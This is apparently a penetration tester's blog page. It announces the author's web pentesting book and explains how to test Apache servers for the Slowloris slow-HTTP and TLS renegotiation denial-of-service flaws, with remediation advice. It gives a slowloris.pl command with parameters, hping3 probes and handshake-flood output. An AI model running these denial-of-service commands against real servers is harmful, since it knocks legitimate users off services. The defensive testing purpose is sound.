01/02/2016

Mastering Web Penetration Testing with Python



 Mastering Web Penetration Testing with Python

First of all I would like to thank all the readers of this blog and also to inform you that even through I have a long preriod of time to post a new article, I managed to finish my 420 pages book dedicated on Web Application Penetration test book (yes I became an author!!). The cover of the book is the one shown below.


What is this book all about

An easy-to-follow guide full of hands-on examples of real-world Web Application attack scenarios with sample code examples. Each chapter can be red independently and is explained and placed in context, and for the more inquisitive, there are more details of the concepts used.

Who is this book for

This book is going to help Web Application developers, Professional Penetration Testers and Web Application Security Analysts to standardise their Web Application security assessments. It is also going to help them build a comprehensive penetration testing framework, that can easily be integrated to their custom  Secure Life Cycle (SDLC) development   

What will you learn

The following bulletins will help you understand what will you learn from my book:

  • Standardising Web Application penetration test process
  • Standardising Web Application penetration test methodology
  • Web Application scraping with the use of Python from security perspective.
  • Web Application analysis with the use of Python from security perspective. 
  • Web Application security test payload management and obfuscation.
  • Mastering and Understanding Web Application input validation attacks e.g. SQL Injection, Cross Site Scripting, Cross Site Request Attacks, XML Injections etc.
  • Mastering and Understanding Web Application firewall bypass techniques.
  • Mastering and Understanding Web Application phishing attacks.
For more information please refer to the following link -

Reference Link: https://www.packtpub.com/networking-and-servers/mastering-web-penetration-testing-python

05/03/2015

Symetric Denial of Service Testing - Aka 1 on 1

Intro

This post is going to explain how to test a Denial of Service Vulnerability without crashing the actual service. More specifically we will focus on two vulnerabilities a) the slowris vulnerability (also known as Apache Partial HTTP Request Denial of Service Vulnerability) and b) the TLS Renegotiation and Denial of Service Attacks.

Apache Partial HTTP Request Denial of Service Vulnerability

The target application Apache Server is vulnerable to a denial of service named Slow-DoS attack, due to holding a connection open for partial HTTP requests. Both Apache Versions 1.x and 2.x are vulnerable. Slow HTTP attacks are denial-of-service (DoS) attacks in which the attacker sends HTTP requests in pieces slowly, one at a time to a Web server. If an HTTP request is not complete, or if the transfer rate is very low, the server keeps its resources busy waiting for the rest of the data. When the server’s concurrent connection pool reaches its maximum, this creates a DoS. Slow HTTP attacks are easy to execute because they require only minimal resources from the attacker.

Business Impact

A remote attacker can cause a denial of service against the Web server which would prevent legitimate users from accessing the site.

Remediation

There are no vendor-supplied patches available at this time.  Upgrade to the latest version.

Example

Slowloris tool output:



./slowloris.pl -dns xxx.xxx.xxx -port 80 -timeout 2000 -num 100 -tcpto 5
CCCCCCCCCCOOCCOOOOO888@8@8888OOOOCCOOO888888888@@@@@@@@@8@8@@@@888OOCooocccc::::
CCCCCCCCCCCCCCCOO888@888888OOOCCCOOOO888888888888@88888@@@@@@@888@8OOCCoococc:::
CCCCCCCCCCCCCCOO88@@888888OOOOOOOOOO8888888O88888888O8O8OOO8888@88@@8OOCOOOCoc::
…[omitted]…
Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client
Multithreading enabled.
Connecting to xxx.xxx.xxx:80 every 2000 seconds with 100 sockets:
                Building sockets.
                Building sockets.
                Sending data.
Current stats:  Slowloris has now sent 446 packets successfully.
This thread now sleeping for 2000 seconds...

                Sending data.
Current stats:  Slowloris has now sent 500 packets successfully.
This thread now sleeping for 2000 seconds...


Hping3 output

 hping3 -T -p 80  xxx.xxx.xxx

HPING xxx.xxx.xxx (eth1 xxx.xxx.xxx): NO FLAGS are set, 40 headers + 0 data bytes
hop=1 TTL 0 during transit from ip=xxx.xxx.xx. name=xxx
hop=1 hoprtt=0.6 ms
...[omitted]...
--- 192.168.0.2 hping statistic ---
10 packets transmitted, 21 packets received, 0% packet loss


Explanation 

In this scenario we send a low bust of packages using Slowloris and then launched Hping3 in port 80 (the same port as Slowloris) and saw that because the Slowloris open too many connections start receiving more packages than send.

TLS Protocol Session Renegotiation Security Vulnerability

TLS protocol is prone to a security vulnerability that allows for man-in-the-middle attacks and Denial of Service attacks. This issue does not allow attackers to decrypt encrypted data. More specifically, the issue exists in a way applications handle the session renegotiation process and may allow attackers to inject arbitrary plaintext into the beginning of application protocol stream.

  • In case of the HTTP protocol used with the vulnerable TLS implementation, this attack is carried out by intercepting 'Client Hello' requests and then forcing session renegotiation. An unauthorized attacker can then cause the webserver to process arbitrary requests that would otherwise require valid client side certificate for authorization. The attacker will not be able to gain direct access to the server response.
  •  Denial of Service attack is also be feasible. This attack further exploits the SSL secure Renegotiation feature to trigger thousands of renegotiation via single TCP connection and crush the service.

Business Impact

An adversary can potentially exploit the vulnerability and cause compromise of the confidentiality and availability of the vulnerable service.

Remediation

Man In The Middle Attack:

  • OpenSSL workaround- OpenSSL has provided a version (0.9.8l) that has a workaround. Please refer to OpenSSL Change Log (Changes between 0.9.8k and 0.9.8l Section).
  •  Microsoft workaround - Enable SSLAlwaysNegoClientCert on IIS 6 and above: Web servers running IIS 6 and later that are affected because they require mutual authentication by requesting a client certificate, can be hardened by enabling the SSLAlwaysNegoClientCert setting. This will cause IIS to prompt the client for a certificate upon the initial connection, and does not require a server-initiated renegotiation.
 For Denial of Service Attack –  No real solutions exists. The following steps can mitigate (but not solve) the problem:

  • Disable SSL-Renegotiation
  • Install SSL Accelerator
Example



host:xxx.xxx.xxx
Handshakes 0 [0.00 h/s], 1 Conn, 0 Err
Handshakes 44 [43.48 h/s], 16 Conn, 0 Err
Handshakes 118 [71.32 h/s], 25 Conn, 0 Err
Handshakes 193 [76.69 h/s], 32 Conn, 0 Err
Handshakes 290 [99.53 h/s], 38 Conn, 0 Err
Handshakes 371 [79.16 h/s], 43 Conn, 0 Err
Handshakes 459 [89.97 h/s], 48 Conn, 0 Err
Handshakes 545 [87.55 h/s], 52 Conn, 0 Err
Handshakes 632 [84.57 h/s], 56 Conn, 0 Err
Handshakes 728 [96.96 h/s], 60 Conn, 0 Err
Handshakes 819 [91.05 h/s], 63 Conn, 0 Err
Handshakes 913 [95.76 h/s], 66 Conn, 0 Err
Handshakes 989 [76.02 h/s], 70 Conn, 0 Err
Handshakes 1086 [96.98 h/s], 73 Conn, 0 Err
Handshakes 1165 [78.37 h/s], 77 Conn, 0 Err
Handshakes 1264 [97.87 h/s], 81 Conn, 0 Err
…[omitted]…
Handshakes 3642 [89.20 h/s], 144 Conn, 0 Err
Handshakes 3738 [92.35 h/s], 146 Conn, 0 Err
Handshakes 3828 [92.36 h/s], 148 Conn, 0 Err
Handshakes 3919 [93.75 h/s], 149 Conn, 0 Err
Handshakes 4003 [83.73 h/s], 151 Conn, 0 Err
Handshakes 4099 [90.18 h/s], 153 Conn, 0 Err
Handshakes 4197 [105.10 h/s], 155 Conn, 0 Err
Handshakes 4288 [90.83 h/s], 157 Conn, 0 Err
Handshakes 4379 [88.02 h/s], 159 Conn, 0 Err
Handshakes 4468 [88.77 h/s], 160 Conn, 0 Err
Handshakes 4568 [95.30 h/s], 162 Conn, 0 Err
Handshakes 4649 [87.94 h/s], 164 Conn, 0 Err
Handshakes 4743 [89.97 h/s], 166 Conn, 0 Err
Handshakes 4844 [106.67 h/s], 167 Conn, 0 Err
Handshakes 4930 [81.71 h/s], 169 Conn, 0 Err


Hping3 output

 hping3 -T -p 443 xxx.xxx.xxx

HPING xxx.xxx.xxx (eth1 xxx.xxx.xxx): NO FLAGS are set, 40 headers + 0 data bytes
hop=1 TTL 0 during transit from ip=xxx.xxx.xx. name=xxx
hop=1 hoprtt=0.6 ms
...[omitted]...
--- xxx.xxx.xxx hping statistic ---
10 packets transmitted, 15 packets received, 0% packet loss

Conclusion

Running point and click hacking tools for testing for Symmetric  DoS vulnerabilities should not be a taboo. If this is done then there zero doubt that this specific vulnerability can be exploited e.g. the sys admin can use stress test tools to record the performance of the server etc.  

References: